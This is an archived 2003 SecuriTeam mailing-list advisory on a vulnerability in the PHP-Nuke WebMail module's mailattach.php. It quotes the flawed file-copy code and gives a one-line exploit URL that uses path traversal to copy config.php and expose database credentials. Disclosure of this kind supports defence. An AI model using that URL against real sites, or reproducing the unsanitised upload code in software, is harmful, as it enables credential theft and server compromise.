[UNIX] PHP-Nuke WebMail Command Execution Vulnerability (Mailattach)

From: SecuriTeam (support_at_securiteam.com)
Date: 10/09/03

  • Next message: SecuriTeam: "[NT] Gamespy 3D Code Execution Vulnerability (Long IRC Answer)"
    To: list@securiteam.com
    Date: 9 Oct 2003 16:05:47 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      PHP-Nuke WebMail Command Execution Vulnerability (Mailattach)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.phpnuke.org> PHP-Nuke is an open-source program for creating
    and managing news-based Web sites created by Francisco Burzi. PHP-Nuke
    could allow a remote attacker to include malicious PHP files, caused by a
    vulnerability in the WebMail module and all other modules with the ability
    to upload files.

    DETAILS

    Vulnerable systems:
     * PHP-Nuke version 6.0
     * PHP-Nuke version6.5

    A remote attacker can send a specially crafted URL request to the
    mailattach.php script that specifies a malicious PHP file from a remote
    system as a parameter, which would allow the attacker to execute code on
    the vulnerable Web server, and possibly obtain a user's database password.

    Vulnerable code:
    From mailattach.php file:
    if (isset($userfile) AND $userfile != "none") {
        if (ini_get(file_uploads) AND $attachments == 1) {
      $updir = "tmp";
      @copy($userfile, "$updir/$userfile_name");

    Exploit:
    http://target.server/modules/WebMail/mailattach.php?userfile=../../config.php&userfile_name=../attachments/file.txt&attachments=1

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:leseulfrog@hotmail.com> Frog
    Man.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] Gamespy 3D Code Execution Vulnerability (Long IRC Answer)"

    Relevant Pages